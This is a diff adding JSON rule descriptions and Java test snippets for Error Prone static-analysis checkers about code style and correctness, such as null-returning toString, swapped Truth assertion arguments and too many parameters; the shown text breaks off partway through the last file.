b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThrowsUncheckedException.json @@ -0,0 +1,54 @@ +{ + "name": "ThrowsUncheckedException", + "language": "java", + "description": "Unchecked exceptions do not need to be declared in the method signature.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 77 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.io.FileNotFoundException;\n import java.io.IOException;\n\n /**\n * @author yulissa@google.com (Yulissa Arroyo-Paredes)\n */\n public class ThrowsUncheckedExceptionNegativeCases {\n public void doSomething() {\n throw new IllegalArgumentException(\"thrown\");\n }\n\n public void doMore() throws IOException {\n throw new FileNotFoundException(\"thrown\");\n }\n }\\" + }, + { + "description": "deleteAll", + "expected-problems": null, + "expected-linenumbers": [ + 104 + ], + "code": "import java.io.IOError;\n\n interface Test {\n void f() throws IOError, RuntimeException;\n }\n \n\n import java.io.IOError;\n\n interface Test {\n void f();\n }" + }, + { + "description": "deleteLeft", + "expected-problems": null, + "expected-linenumbers": [ + 128 + ], + "code": "import java.io.IOError;\n import java.io.IOException;\n\n interface Test {\n void f() throws IOError, RuntimeException, IOException;\n }\n \n\n import java.io.IOError;\n import java.io.IOException;\n\n interface Test {\n void f() throws IOException;\n }" + }, + { + "description": "deleteRight", + "expected-problems": null, + "expected-linenumbers": [ + 154 + ], + "code": "import java.io.IOError;\n import java.io.IOException;\n\n interface Test {\n void f() throws IOException, IOError, RuntimeException;\n }\n \n\n import java.io.IOError;\n import java.io.IOException;\n\n interface Test {\n void f() throws IOException;\n }" + }, + { + "description": "preserveOrder", + "expected-problems": null, + "expected-linenumbers": [ + 180 + ], + "code": "import java.io.IOException;\n\n interface Test {\n void f() throws ReflectiveOperationException, IOException, RuntimeException;\n }\n \n\n import java.io.IOException;\n\n interface Test {\n void f() throws ReflectiveOperationException, IOException;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ToStringReturnsNull.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ToStringReturnsNull.json new file mode 100644 index 0000000..e9acc45 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ToStringReturnsNull.json @@ -0,0 +1,62 @@ +{ + "name": "ToStringReturnsNull", + "language": "java", + "description": "An implementation of Object.toString() should never return null.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 84, + "branches": 5, + "apis": 3, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "class Test {\n // BUG: Diagnostic contains: ToStringReturnsNull\n public String toString() {\n return null;\n }\n }" + }, + { + "description": "conditionalExpression", + "expected-problems": null, + "expected-linenumbers": [ + 50 + ], + "code": "class Test {\n final boolean cond = false;\n\n // BUG: Diagnostic contains: ToStringReturnsNull\n public String toString() {\n return cond ? null : \"foo\";\n }\n }" + }, + { + "description": "returnsNonNullString", + "expected-problems": null, + "expected-linenumbers": [ + 68 + ], + "code": "class Test {\n public String toString() {\n return \"foo\";\n }\n }" + }, + { + "description": "nonToStringMethod", + "expected-problems": null, + "expected-linenumbers": [ + 83 + ], + "code": "class Test {\n public String thisIsNotAToStringMethod() {\n return \"bar\";\n }\n }" + }, + { + "description": "nestedReturnNull", + "expected-problems": null, + "expected-linenumbers": [ + 98 + ], + "code": "class Test {\n public String toString() {\n class InnerTest {\n String getter() {\n return null;\n }\n }\n return \"bar\";\n }\n }" + }, + { + "description": "lambdaReturnNull", + "expected-problems": null, + "expected-linenumbers": [ + 118 + ], + "code": "class Test {\n interface MyGreeting {\n String processName();\n }\n\n public String toString() {\n MyGreeting lol =\n () -> {\n String lolz = \"\";\n return null;\n };\n return \"bar\";\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TooManyParameters.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TooManyParameters.json new file mode 100644 index 0000000..140c977 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TooManyParameters.json @@ -0,0 +1,86 @@ +{ + "name": "TooManyParameters", + "language": "java", + "description": "A large number of parameters on public APIs should be avoided.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 91, + "branches": 6, + "apis": 2, + "test": [ + { + "description": "zeroLimit", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "" + }, + { + "description": "negativeLimit", + "expected-problems": null, + "expected-linenumbers": [ + 44 + ], + "code": "" + }, + { + "description": "constructor", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "public class ConstructorTest {\n public ConstructorTest() {}\n\n public ConstructorTest(int a) {}\n\n public ConstructorTest(int a, int b) {}\n\n public ConstructorTest(int a, int b, int c) {}\n\n // BUG: Diagnostic contains: 4 parameters\n public ConstructorTest(int a, int b, int c, int d) {}\n\n // BUG: Diagnostic contains: 5 parameters\n public ConstructorTest(int a, int b, int c, int d, int e) {}\n\n // BUG: Diagnostic contains: 6 parameters\n public ConstructorTest(int a, int b, int c, int d, int e, int f) {}\n\n private ConstructorTest(int a, int b, int c, int d, int e, int f, int g) {}\n }" + }, + { + "description": "recordConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 84 + ], + "code": "public record RecordExample(int p0, int p1, int p2, int p3, int p4, int p5) {\n public RecordExample {}\n }" + }, + { + "description": "constructor_withAtInject", + "expected-problems": null, + "expected-linenumbers": [ + 98 + ], + "code": "import javax.inject.Inject;\n\n public class ConstructorTest {\n public ConstructorTest() {}\n\n public ConstructorTest(int a) {}\n\n public ConstructorTest(int a, int b) {}\n\n public ConstructorTest(int a, int b, int c) {}\n\n @Inject\n public ConstructorTest(int a, int b, int c, int d) {}\n\n // BUG: Diagnostic contains: 4 parameters\n public ConstructorTest(short a, short b, short c, short d) {}\n }" + }, + { + "description": "ignoresAutoFactoryOnClass", + "expected-problems": null, + "expected-linenumbers": [ + 126 + ], + "code": "package com.google.auto.factory;\n\n public @interface AutoFactory {}\n \n\n @com.google.auto.factory.AutoFactory\n public class Test {\n public Test(int a, int b, int c, int d) {}\n }\n \n\n public class TestWithoutAutoFactory {\n // BUG: Diagnostic contains: 4 parameters\n public TestWithoutAutoFactory(int a, int b, int c, int d) {}\n }" + }, + { + "description": "ignoresAutoFactoryOnConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 156 + ], + "code": "package com.google.auto.factory;\n\n public @interface AutoFactory {}\n \n\n public class Test {\n @com.google.auto.factory.AutoFactory\n public Test(int a, int b, int c, int d) {}\n }\n \n\n public class TestWithoutAutoFactory {\n // BUG: Diagnostic contains: 4 parameters\n public TestWithoutAutoFactory(int a, int b, int c, int d) {}\n }" + }, + { + "description": "method", + "expected-problems": null, + "expected-linenumbers": [ + 186 + ], + "code": "public class MethodTest {\n public void foo() {}\n\n public void foo(int a) {}\n\n public void foo(int a, int b) {}\n\n public void foo(int a, int b, int c) {}\n\n // BUG: Diagnostic contains: 4 parameters\n public void foo(int a, int b, int c, int d) {}\n\n // BUG: Diagnostic contains: 5 parameters\n public void foo(int a, int b, int c, int d, int e) {}\n\n // BUG: Diagnostic contains: 6 parameters\n public void foo(int a, int b, int c, int d, int e, int f) {}\n\n private void foo(int a, int b, int c, int d, int e, int f, int g) {}\n }" + }, + { + "description": "testJUnitTestMethod", + "expected-problems": null, + "expected-linenumbers": [ + 217 + ], + "code": "import com.google.common.collect.ImmutableList;\nimport com.google.testing.junit.testparameterinjector.TestParameters;\nimport com.google.testing.junit.testparameterinjector.TestParametersValuesProvider;\nimport org.junit.Test;\n\npublic class ExampleWithTestParametersTest {\n @Test\n @TestParameters(valuesProvider = TestArgs.class)\n public void myTest(\n String a,\n String b,\n String c,\n String d,\n String e,\n String f,\n String g,\n String h,\n String i,\n String j,\n String k,\n String l)\n throws Exception {}\n\n static class TestArgs extends TestParametersValuesProvider {\n @Override\n public ImmutableList provideValues(Context context) {\n return ImmutableList.of();\n }\n }\n}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TraditionalSwitchExpression.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TraditionalSwitchExpression.json new file mode 100644 index 0000000..5653d12 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TraditionalSwitchExpression.json @@ -0,0 +1,46 @@ +{ + "name": "TraditionalSwitchExpression", + "language": "java", + "description": "Prefer -> switches for switch expressions", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 40, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "class Test {\n int f(int i) {\n // BUG: Diagnostic contains: Prefer -> switches for switch expressions\n return switch (i) {\n default:\n yield -1;\n };\n }\n }" + }, + { + "description": "negativeStatement", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "class Test {\n void f(int i) {\n switch (i) {\n default:\n return;\n }\n }\n }" + }, + { + "description": "negativeArrowStatement", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "class Test {\n void f(int i) {\n switch (i) {\n default -> System.err.println();\n }\n }\n }" + }, + { + "description": "negativeArrow", + "expected-problems": null, + "expected-linenumbers": [ + 84 + ], + "code": "class Test {\n int f(int i) {\n return switch (i) {\n default -> -1;\n };\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TransientMisuse.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TransientMisuse.json new file mode 100644 index 0000000..cc4fb3b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TransientMisuse.json @@ -0,0 +1,30 @@ +{ + "name": "TransientMisuse", + "language": "java", + "description": "Static fields are implicitly transient, so the explicit modifier is unnecessary", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 48, + "branches": 2, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n // BUG: Diagnostic contains: static String foo1\n static transient String foo1;\n // BUG: Diagnostic contains: static String foo2\n static transient String foo2;\n // BUG: Diagnostic contains: public static final String foo3\n public static final transient String foo3 = \"\";\n // BUG: Diagnostic contains: protected static final String foo4\n protected static final transient String foo4 = \"\";\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "class Test {\n static String foo;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TreeToString.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TreeToString.json new file mode 100644 index 0000000..a1cfd0c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TreeToString.json @@ -0,0 +1,46 @@ +{ + "name": "TreeToString", + "language": "java", + "description": "Tree#toString shouldn't be used for Trees deriving from the code being compiled, as it discards whitespace and comments.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 118, + "branches": 6, + "apis": 2, + "test": [ + { + "description": "noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import com.google.errorprone.BugPattern;\n import com.google.errorprone.BugPattern.SeverityLevel;\n import com.google.errorprone.VisitorState;\n import com.google.errorprone.bugpatterns.BugChecker;\n import com.google.errorprone.bugpatterns.BugChecker.ClassTreeMatcher;\n import com.google.errorprone.matchers.Description;\n import com.sun.source.tree.ClassTree;\n import com.sun.tools.javac.code.Types;\n\n @BugPattern(name = \"Example\", summary = \"\", severity = SeverityLevel.ERROR)\n public class ExampleChecker extends BugChecker implements ClassTreeMatcher {\n @Override\n public Description matchClass(ClassTree t, VisitorState s) {\n return Description.NO_MATCH;\n }\n }" + }, + { + "description": "matchInABugChecker", + "expected-problems": null, + "expected-linenumbers": [ + 57 + ], + "code": "import static com.google.errorprone.util.ASTHelpers.getSymbol;\n import com.google.errorprone.BugPattern;\n import com.google.errorprone.BugPattern.SeverityLevel;\n import com.google.errorprone.VisitorState;\n import com.google.errorprone.bugpatterns.BugChecker;\n import com.google.errorprone.bugpatterns.BugChecker.ClassTreeMatcher;\n import com.google.errorprone.fixes.SuggestedFix;\n import com.google.errorprone.matchers.Description;\n import com.google.errorprone.matchers.Matcher;\n import com.sun.source.tree.ClassTree;\n import com.sun.tools.javac.code.Symbol;\n import com.sun.tools.javac.code.Symbol.ClassSymbol;\n import com.sun.tools.javac.tree.TreeMaker;\n import com.sun.tools.javac.code.Type;\n import com.sun.tools.javac.code.Types;\n\n @BugPattern(name = \"Example\", summary = \"\", severity = SeverityLevel.ERROR)\n public class ExampleChecker extends BugChecker implements ClassTreeMatcher {\n private static Matcher matches(String name) {\n // BUG: Diagnostic contains: state.getSourceForNode(c).equals\n return (Matcher) (c, state) -> c.toString().equals(name);\n }\n\n @Override\n public Description matchClass(ClassTree tree, VisitorState state) {\n // BUG: Diagnostic contains: state.getSourceForNode(tree).contains\n if (tree.toString().contains(\"match\")) {\n return describeMatch(tree);\n }\n return Description.NO_MATCH;\n }\n\n private String createTree(VisitorState state) {\n TreeMaker maker = TreeMaker.instance(state.context);\n // BUG: Diagnostic contains: state.getConstantExpression(\"val\")\n return maker.Literal(\"val\").toString();\n }\n }" + }, + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 109 + ], + "code": "import com.google.errorprone.VisitorState;\nimport com.google.errorprone.bugpatterns.BugChecker;\nimport com.google.errorprone.matchers.Matcher;\nimport com.sun.source.tree.ClassTree;\nimport com.sun.source.tree.ExpressionTree;\nimport com.sun.source.tree.Tree;\n\npublic class TreeToStringPositiveCases {\n\n public static class InnerClass extends BugChecker {\n private static void foo() {\n Tree tree = (Tree) new Object();\n // BUG: Diagnostic contains: [TreeToString] Tree#toString shouldn't be used\n tree.toString();\n }\n\n private static final Matcher MATCHER1 =\n (tree, state) -> {\n ExpressionTree packageName = state.getPath().getCompilationUnit().getPackageName();\n // BUG: Diagnostic contains: [TreeToString] Tree#toString shouldn't be used\n packageName.toString();\n\n // BUG: Diagnostic contains: [TreeToString] Tree#toString shouldn't be used\n state.getPath().getCompilationUnit().getPackageName().toString();\n\n return false;\n };\n\n private static final Matcher MATCHER2 =\n new Matcher() {\n @Override\n public boolean matches(ClassTree classTree, VisitorState state) {\n ExpressionTree packageName = state.getPath().getCompilationUnit().getPackageName();\n // BUG: Diagnostic contains:\n packageName.toString();\n return false;\n }\n };\n }\n}\\" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 159 + ], + "code": "import com.google.errorprone.VisitorState;\n import com.google.errorprone.bugpatterns.BugChecker;\n import com.google.errorprone.util.ASTHelpers;\n import com.sun.source.tree.ClassTree;\n import com.sun.source.tree.Tree;\n\n public class TreeToStringNegativeCases {\n\n public static class InnerClass extends BugChecker {\n\n private static void foo(VisitorState state) {\n Tree tree = (Tree) new Object();\n state.getSourceForNode(tree);\n state.getConstantExpression(tree);\n ((ClassTree) new Object()).getSimpleName().toString();\n ASTHelpers.getSymbol(tree).getSimpleName().toString();\n }\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TruthAssertExpected.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TruthAssertExpected.json new file mode 100644 index 0000000..a9a7555 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TruthAssertExpected.json @@ -0,0 +1,30 @@ +{ + "name": "TruthAssertExpected", + "language": "java", + "description": "The actual and expected values appear to be swapped, which results in poor assertion failure messages. The actual value should come first.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 188, + "branches": 19, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport static com.google.common.truth.Truth.assertThat;\nimport static com.google.common.truth.Truth.assertWithMessage;\n\nimport com.google.common.collect.ImmutableList;\n\n/**\n * Positive test cases for TruthAssertExpected check.\n *\n * @author ghm@google.com (Graeme Morgan)\n */\nfinal class TruthAssertExpectedPositiveCases {\n private static final ImmutableList EXPECTED_LIST = ImmutableList.of();\n private static final float EXPECTED_FLOAT = 1f;\n\n private float actualFloat() {\n return 3.14f;\n }\n\n private void simple() {\n Object expected = new Object();\n Object actual = new Object();\n Object foo = new Object();\n // BUG: Diagnostic contains: assertThat(foo).isEqualTo(expected)\n assertThat(expected).isEqualTo(foo);\n // BUG: Diagnostic contains: assertThat(foo).isNotEqualTo(expected)\n assertThat(expected).isNotEqualTo(foo);\n\n // BUG: Diagnostic contains: assertWithMessage(\"reversed!\").that(actual).isEqualTo(expected)\n assertWithMessage(\"reversed!\").that(expected).isEqualTo(actual);\n\n // BUG: Diagnostic contains: assertThat(actual.hashCode()).isEqualTo(expected.hashCode())\n assertThat(expected.hashCode()).isEqualTo(actual.hashCode());\n }\n\n private void tolerantFloats() {\n // BUG: Diagnostic contains: assertThat(actualFloat()).isWithin(1f).of(EXPECTED_FLOAT)\n assertThat(EXPECTED_FLOAT).isWithin(1f).of(actualFloat());\n }\n\n private void lists() {\n // BUG: Diagnostic contains:\n // assertThat(ImmutableList.of(this)).containsExactlyElementsIn(EXPECTED_LIST);\n assertThat(EXPECTED_LIST).containsExactlyElementsIn(ImmutableList.of(this));\n // BUG: Diagnostic contains:\n // assertThat(ImmutableList.of(this)).containsExactlyElementsIn(EXPECTED_LIST).inOrder();\n assertThat(EXPECTED_LIST).containsExactlyElementsIn(ImmutableList.of(this)).inOrder();\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 94 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.truth.Truth.assertThat;\n\n import com.google.common.collect.ImmutableList;\n\n /**\n * Negative test cases for TruthAssertExpected check.\n *\n * @author ghm@google.com (Graeme Morgan)\n */\n final class TruthAssertExpectedNegativeCases {\n private static final Object expected = new Object();\n private static final Object actual = new Object();\n private static final Object foo = new Object();\n private static final long CONSTANT = 1L;\n\n private enum Enum {\n A,\n B;\n }\n\n private void simple() {\n assertThat(foo).isEqualTo(expected);\n\n assertThat(expected.hashCode()).isEqualTo(expected.hashCode());\n assertThat(hashCode()).isEqualTo(foo);\n }\n\n private void actualAndExpectedTogether(int delay) {\n int actualDelayInExpectedUnits = 1;\n assertThat(actualDelayInExpectedUnits).isEqualTo(delay);\n }\n\n private void expectedExceptions() {\n Exception expectedException = new Exception(\"Oh no.\");\n assertThat(expectedException).hasMessageThat().isEqualTo(\"Oh no.\");\n assertThat(expectedException.getClass()).isEqualTo(hashCode());\n }\n\n private void staticFactoryMethod() {\n assertThat(expected).isEqualTo(Long.valueOf(10L));\n assertThat(expected).isEqualTo(ImmutableList.of(1));\n }\n\n private void constantValues() {\n assertThat(expected).isEqualTo(Enum.A);\n assertThat(expected).isEqualTo(10L);\n assertThat(expected).isEqualTo(CONSTANT);\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TruthConstantAsserts.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TruthConstantAsserts.json new file mode 100644 index 0000000..1c8b5b4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TruthConstantAsserts.json @@ -0,0 +1,30 @@ +{ + "name": "TruthConstantAsserts", + "language": "java", + "description": "Truth Library assert is called on a constant.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 80, + "branches": 9, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport static com.google.common.truth.Truth.assertThat;\n\n/**\n * Positive test cases for TruthConstantAsserts check.\n *\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\npublic class TruthConstantAssertsPositiveCases {\n\n public void testAssertThat() {\n // BUG: Diagnostic contains: assertThat(new TruthConstantAssertsPositiveCases()).isEqualTo(1);\n assertThat(1).isEqualTo(new TruthConstantAssertsPositiveCases());\n\n // BUG: Diagnostic contains: assertThat(someStaticMethod()).isEqualTo(\"my string\");\n assertThat(\"my string\").isEqualTo(someStaticMethod());\n\n // BUG: Diagnostic contains: assertThat(memberMethod()).isEqualTo(42);\n assertThat(42).isEqualTo(memberMethod());\n\n // BUG: Diagnostic contains: assertThat(someStaticMethod()).isEqualTo(42L);\n assertThat(42L).isEqualTo(someStaticMethod());\n\n // BUG: Diagnostic contains: assertThat(new Object()).isEqualTo(4.2);\n assertThat(4.2).isEqualTo(new Object());\n }\n\n private static TruthConstantAssertsPositiveCases someStaticMethod() {\n return new TruthConstantAssertsPositiveCases();\n }\n\n private TruthConstantAssertsPositiveCases memberMethod() {\n return new TruthConstantAssertsPositiveCases();\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 80 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.truth.Truth.assertThat;\n\n /**\n * Negative test cases for TruthConstantAsserts check.\n *\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\n public class TruthConstantAssertsNegativeCases {\n\n public void testNegativeCases() {\n assertThat(new TruthConstantAssertsNegativeCases()).isEqualTo(Boolean.TRUE);\n assertThat(getObject()).isEqualTo(Boolean.TRUE);\n\n // assertion called on constant with constant expectation is ignored.\n assertThat(Boolean.FALSE).isEqualTo(4.2);\n }\n\n private static TruthConstantAssertsNegativeCases getObject() {\n return new TruthConstantAssertsNegativeCases();\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TruthContainsExactlyElementsInUsage.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TruthContainsExactlyElementsInUsage.json new file mode 100644 index 0000000..a66d33b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TruthContainsExactlyElementsInUsage.json @@ -0,0 +1,134 @@ +{ + "name": "TruthContainsExactlyElementsInUsage", + "language": "java", + "description": "containsExactly is preferred over containsExactlyElementsIn when creating new iterables.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 90, + "branches": 9, + "apis": 1, + "test": [ + { + "description": "negativeDirectContainsExactlyUsage", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n\n public class ExampleClassTest {\n void test() {\n assertThat(ImmutableList.of(1, 2, 3)).containsExactly(1, 2, 3);\n }\n }" + }, + { + "description": "negativeVariableContainsExactlyUsage", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n public class ExampleClassTest {\n void test() {\n List list = ImmutableList.of(1, 2, 3);\n assertThat(list).containsExactly(1, 2, 3);\n }\n }" + }, + { + "description": "negativeVariableTruthContainsExactlyElementsInUsage", + "expected-problems": null, + "expected-linenumbers": [ + 73 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n public class ExampleClassTest {\n void test() {\n List list = ImmutableList.of(1, 2, 3);\n assertThat(list).containsExactlyElementsIn(list);\n }\n }" + }, + { + "description": "negativeVariableTruthContainsExactlyElementsInUsageWithCopy", + "expected-problems": null, + "expected-linenumbers": [ + 93 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n public class ExampleClassTest {\n void test() {\n List list = ImmutableList.of(1, 2, 3);\n assertThat(list).containsExactlyElementsIn(ImmutableList.copyOf(list));\n }\n }" + }, + { + "description": "negativeTruthContainsExactlyElementsInUsageWithHashSet", + "expected-problems": null, + "expected-linenumbers": [ + 113 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\nimport com.google.common.collect.ImmutableList;\nimport com.google.common.collect.Sets;\n\npublic class ExampleClassTest {\n void test() {\n assertThat(ImmutableList.of(1, 2, 3)).containsExactlyElementsIn(Sets.newHashSet(1, 2, 3));\n }\n}" + }, + { + "description": "negativeTruthContainsExactlyElementsInUsageWithImmutableSet", + "expected-problems": null, + "expected-linenumbers": [ + 132 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\nimport com.google.common.collect.ImmutableList;\nimport com.google.common.collect.ImmutableSet;\n\npublic class ExampleClassTest {\n void test() {\n assertThat(ImmutableList.of(1, 2, 3)).containsExactlyElementsIn(ImmutableSet.of(1, 2, 3));\n }\n}" + }, + { + "description": "refactoringTruthContainsExactlyElementsInUsageWithArrayList", + "expected-problems": null, + "expected-linenumbers": [ + 151 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\nimport com.google.common.collect.ImmutableList;\nimport java.util.Arrays;\n\npublic class ExampleClassTest {\n void test() {\n assertThat(ImmutableList.of(1, 2, 3)).containsExactlyElementsIn(Arrays.asList(1, 2, 3));\n }\n}\n\n\n import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n import java.util.Arrays;\n\n public class ExampleClassTest {\n void test() {\n assertThat(ImmutableList.of(1, 2, 3)).containsExactly(1, 2, 3);\n }\n }" + }, + { + "description": "refactoringTruthContainsExactlyElementsInUsageWithListOf", + "expected-problems": null, + "expected-linenumbers": [ + 183 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n public class ExampleClassTest {\n void test() {\n assertThat(ImmutableList.of(1, 2, 3)).containsExactlyElementsIn(List.of(1, 2, 3));\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n public class ExampleClassTest {\n void test() {\n assertThat(ImmutableList.of(1, 2, 3)).containsExactly(1, 2, 3);\n }\n }" + }, + { + "description": "refactoringTruthContainsExactlyElementsInUsageWithInOrderList", + "expected-problems": null, + "expected-linenumbers": [ + 215 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n import java.util.Arrays;\n\n public class ExampleClassTest {\n void test() {\n assertThat(ImmutableList.of(1, 2, 3))\n .containsExactlyElementsIn(Arrays.asList(1, 2, 3))\n .inOrder();\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n import java.util.Arrays;\n\n public class ExampleClassTest {\n void test() {\n assertThat(ImmutableList.of(1, 2, 3)).containsExactly(1, 2, 3).inOrder();\n }\n }" + }, + { + "description": "refactoringTruthContainsExactlyElementsInUsageWithStaticallyImportedAsList", + "expected-problems": null, + "expected-linenumbers": [ + 249 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n import static java.util.Arrays.asList;\n\n public class ExampleClassTest {\n void test() {\n assertThat(ImmutableList.of(1, 2, 3)).containsExactlyElementsIn(asList(1, 2, 3));\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n import static java.util.Arrays.asList;\n\n public class ExampleClassTest {\n void test() {\n assertThat(ImmutableList.of(1, 2, 3)).containsExactly(1, 2, 3);\n }\n }" + }, + { + "description": "refactoringTruthContainsExactlyElementsInUsageWithNewArrayList", + "expected-problems": null, + "expected-linenumbers": [ + 281 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\nimport com.google.common.collect.ImmutableList;\nimport com.google.common.collect.Lists;\n\npublic class ExampleClassTest {\n void test() {\n assertThat(ImmutableList.of(1, 2, 3)).containsExactlyElementsIn(Lists.newArrayList(1, 2, 3));\n }\n}\n\n\n import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n import com.google.common.collect.Lists;\n\n public class ExampleClassTest {\n void test() {\n assertThat(ImmutableList.of(1, 2, 3)).containsExactly(1, 2, 3);\n }\n }" + }, + { + "description": "refactoringTruthContainsExactlyElementsInUsageWithSingletonList", + "expected-problems": null, + "expected-linenumbers": [ + 313 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\nimport com.google.common.collect.ImmutableList;\nimport java.util.Collections;\n\npublic class ExampleClassTest {\n void test() {\n assertThat(ImmutableList.of(1)).containsExactlyElementsIn(Collections.singletonList(1));\n }\n}\n\n\n import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n import java.util.Collections;\n\n public class ExampleClassTest {\n void test() {\n assertThat(ImmutableList.of(1)).containsExactly(1);\n }\n }" + }, + { + "description": "refactoringTruthContainsExactlyElementsInUsageWithEmptyList", + "expected-problems": null, + "expected-linenumbers": [ + 345 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n import java.util.Arrays;\n\n public class ExampleClassTest {\n void test() {\n assertThat(ImmutableList.of()).containsExactlyElementsIn(Arrays.asList());\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n import java.util.Arrays;\n\n public class ExampleClassTest {\n void test() {\n assertThat(ImmutableList.of()).containsExactly();\n }\n }" + }, + { + "description": "refactoringTruthContainsExactlyElementsInUsageWithImmutableList", + "expected-problems": null, + "expected-linenumbers": [ + 377 + 